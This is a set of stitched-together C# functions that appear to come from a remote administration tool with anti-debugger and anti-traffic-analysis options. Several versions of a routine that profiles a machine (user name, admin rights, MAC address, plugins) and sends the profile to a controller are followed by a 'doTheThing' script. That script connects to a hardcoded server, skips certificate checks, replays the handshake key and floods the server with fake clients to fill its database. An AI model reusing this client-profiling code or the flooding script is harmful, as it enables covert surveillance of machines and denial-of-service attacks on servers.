private static void SendInformation(Stream stream) { var data = new BasicComputerInformation { Language = Cultures[Random.Next(0, Cultures.Length)], UserName = RandomNames[Random.Next(0, RandomNames.Length)], IsAdministrator = Random.Next(0, 3) == 0, IsServiceRunning = Random.Next(0, 5) == 0, Plugins = new List <PluginInfo>(), ClientConfig = null, ClientVersion = Random.Next(2, 10) }; var os = OperationgSystems.ElementAt(Random.Next(0, OperationgSystems.Count)); data.OperatingSystemName = os.Key; data.OperatingSystemType = os.Value; /* * var area = CenteredCoordinates[Random.Next(0, CenteredCoordinates.Count)]; * data.Latitude = (float) (area.Key + Random.Next(-20, 21)*Random.NextDouble()); * data.Longitude = (float) (area.Value + Random.Next(-20, 21)*Random.NextDouble()); */ var serializer = new Serializer(typeof(BasicComputerInformation)); serializer.Serialize(stream, data); }
private static void SendInformation(Stream stream) { var data = new BasicComputerInformation { Language = Cultures[Random.Next(0, Cultures.Length)], UserName = RandomNames[Random.Next(0, RandomNames.Length)], IsAdministrator = Random.Next(0, 3) == 0, IsServiceRunning = Random.Next(0, 5) == 0, Plugins = new List <PluginInfo>(), ClientConfig = new ClientConfig { AntiDebugger = true, AntiTcpAnalyzer = true, Autostart = false, ChangeCreationDate = false, ClientTag = "Stress Test", ForceInstallerAdministratorRights = false, InstallService = false }, ClientVersion = Version, ApiVersion = AdministrationApiVersion }; var os = OperationgSystems.ElementAt(Random.Next(0, OperationgSystems.Count)); data.OSName = os.Key; data.OSType = os.Value; var area = CenteredCoordinates[Random.Next(0, CenteredCoordinates.Count)]; data.Latitude = (float)(area.Key + Random.Next(-20, 21) * Random.NextDouble()); data.Longitude = (float)(area.Value + Random.Next(-20, 21) * Random.NextDouble()); var serializer = new Serializer(typeof(BasicComputerInformation)); serializer.Serialize(stream, data); }
private static void SendInformation(Stream stream) { var data = new BasicComputerInformation { Language = Cultures[Random.Next(0, Cultures.Length)], UserName = RandomNames[Random.Next(0, RandomNames.Length)], IsAdministrator = Random.Next(0, 3) == 0, IsServiceRunning = Random.Next(0, 5) == 0, Plugins = new List<PluginInfo>(), ClientConfig = new ClientConfig { AntiDebugger = true, AntiTcpAnalyzer = true, Autostart = false, ChangeCreationDate = false, ClientTag = "Stress Test", ForceInstallerAdministratorRights = false, InstallService = false }, ClientVersion = Version, ApiVersion = AdministrationApiVersion }; var os = OperationgSystems.ElementAt(Random.Next(0, OperationgSystems.Count)); data.OSName = os.Key; data.OSType = os.Value; var area = CenteredCoordinates[Random.Next(0, CenteredCoordinates.Count)]; data.Latitude = (float) (area.Key + Random.Next(-20, 21) * Random.NextDouble()); data.Longitude = (float) (area.Value + Random.Next(-20, 21) * Random.NextDouble()); var serializer = new Serializer(typeof (BasicComputerInformation)); serializer.Serialize(stream, data); }
public static void SendInformation(Stream stream) { if (_basicComputerInformation == null) { _basicComputerInformation = new BasicComputerInformation { UserName = Environment.UserName, IsAdministrator = User.IsAdministrator, ClientConfig = Settings.ClientConfig, ClientVersion = Program.Version, ApiVersion = Program.AdministrationApiVersion, ClientPath = Consts.ApplicationPath, FrameworkVersion = GetFrameworkVersion() }; var culture = CultureInfo.InstalledUICulture; _basicComputerInformation.Language = culture.TwoLetterISOLanguageName; if (culture.LCID != 4096) { try { _basicComputerInformation.Language += $"-{new RegionInfo(culture.LCID).TwoLetterISORegionName}"; } catch (Exception) { // ignored } } switch (Environment.OSVersion.Platform) { case PlatformID.Win32S: _basicComputerInformation.OperatingSystemName = "Windows 3.1"; break; case PlatformID.Xbox: _basicComputerInformation.OperatingSystemName = "XBox"; break; case PlatformID.Win32Windows: _basicComputerInformation.OperatingSystemName = "Win32 Windows"; break; case PlatformID.Win32NT: _basicComputerInformation.OperatingSystemName = GetOsFriendlyName(); if (_basicComputerInformation.OperatingSystemName.Contains("Windows 7")) { _basicComputerInformation.OperatingSystemType = OSType.Windows7; } else if (_basicComputerInformation.OperatingSystemName.Contains("Windows 8")) { _basicComputerInformation.OperatingSystemType = OSType.Windows8; } else if (_basicComputerInformation.OperatingSystemName.Contains("Windows 10")) { _basicComputerInformation.OperatingSystemType = OSType.Windows10; } else if (_basicComputerInformation.OperatingSystemName.Contains("Vista")) { _basicComputerInformation.OperatingSystemType = OSType.WindowsVista; } else if (_basicComputerInformation.OperatingSystemName.Contains("XP")) { _basicComputerInformation.OperatingSystemType = OSType.WindowsXp; } break; case PlatformID.WinCE: _basicComputerInformation.OperatingSystemName = "Windows CE"; break; default: _basicComputerInformation.OperatingSystemName = "Unknown: " + Environment.OSVersion.Platform; break; } if (string.IsNullOrEmpty(_basicComputerInformation.OperatingSystemName)) { _basicComputerInformation.OperatingSystemName = Environment.OSVersion.VersionString; } try { _basicComputerInformation.MacAddress = GetMacAddress(); } catch (Exception) { //NetworkInformationException? } } _basicComputerInformation.IsServiceRunning = ServiceConnection.Current.IsConnected; _basicComputerInformation.Plugins = PluginLoader.Current.AvailablePlugins.Select( x => new PluginInfo { Guid = x.Key.Guid, Name = x.Key.PluginName, Version = x.Key.PluginVersion, IsLoaded = x.Value }).ToList(); _basicComputerInformation.LoadablePlugins = Directory.Exists(Consts.PluginsDirectory) ? new DirectoryInfo(Consts.PluginsDirectory).GetFiles() .Select( x => Regex.Match(x.Name, @"^(?<guid>([0-9A-Fa-f]{32}))_(?<version>(\d+(?:\.\d+)+))$")) .Where(x => x.Success) .Select( x => new LoadablePlugin { Guid = new Guid(x.Groups["guid"].Value), Version = x.Groups["version"].Value }) .ToList() : null; _basicComputerInformation.ActiveCommands = StaticCommandSelector.Current.GetActiveCommandIds(); var types = new List <Type>(BuilderPropertyHelper.GetAllBuilderPropertyTypes()) { typeof(BasicComputerInformation) }; var serializer = new Serializer(types); serializer.Serialize(stream, _basicComputerInformation); }
public static void doTheThing() { var client = new TcpClient(); SslStream sslStream = null; try { client.Connect("13.37.13.37", 1337); sslStream = new SslStream(client.GetStream(), true, (o, certificate, chain, errors) => true); sslStream.AuthenticateAsClient("Hello."); } catch { Console.WriteLine("Failed to connect. Server dead?"); return; } sslStream.Write(new byte[] { 0 }); // client var binaryReader = new BinaryReader(sslStream); var binaryWriter = new BinaryWriter(sslStream, Encoding.UTF8, true); binaryWriter.Write(5); // we're using api v5 binaryReader.ReadByte(); if (binaryReader.ReadByte() != 0) { Console.WriteLine("Error? 1"); return; } int position = binaryReader.ReadInt32(); KeyDatabase keyDatabase = new KeyDatabase(); binaryWriter.Write(keyDatabase.GetKey(position, "@=<VY]BUQM{sp&hH%xbLJcUd/2sWgR+YA&-_Z>/$skSXZR!:(yZ5!>t>ZxaPTrS[Z/'R,ssg'.&4yZN?S)My+:QV2(c&x/TU]Yq2?g?*w7*r@pmh")); if (binaryReader.ReadByte() != 6) { Console.WriteLine("Error? 2"); return; } var provider = new RNGCryptoServiceProvider(); var hwidSalt = new byte[4]; provider.GetBytes(hwidSalt); //hwid binaryWriter.Write("foo bar baz buzz" + BitConverter.ToUInt32(hwidSalt, 0).ToString()); // arbitrary byte b = binaryReader.ReadByte(); if (b == 7) { if (new Random().Next(0, 5) < 3) { binaryWriter.Write(""); } else if (new Random().Next(0, 5) < 1) { binaryWriter.Write(randomString(255)); } else { binaryWriter.Write(randomString(2) + new string('\n', 252)); } b = binaryReader.ReadByte(); } if (b != 3) { Console.WriteLine("Error 3?"); return; } var randomKiloByte = new byte[2048]; provider.GetBytes(randomKiloByte); var information = new BasicComputerInformation() { UserName = randomString(new Random().Next(0, 255)), // you can just put in TempleOS too or randomString(256) OperatingSystemName = "Microsoft Windows 10 Pro", Language = "English (United States)", IsAdministrator = new Random().Next(3) != 1, ClientConfig = null, ClientVersion = new Random().Next(19), ApiVersion = 2, ClientPath = new string('\a', 10000), FrameworkVersion = 1, MacAddress = randomKiloByte // wastes space in their database }; new Serializer(new List <Type>(BuilderPropertyHelper.GetAllBuilderPropertyTypes()) { typeof(BasicComputerInformation) }).Serialize(sslStream, information); Console.WriteLine($"Connected fake client #{++iterations}"); }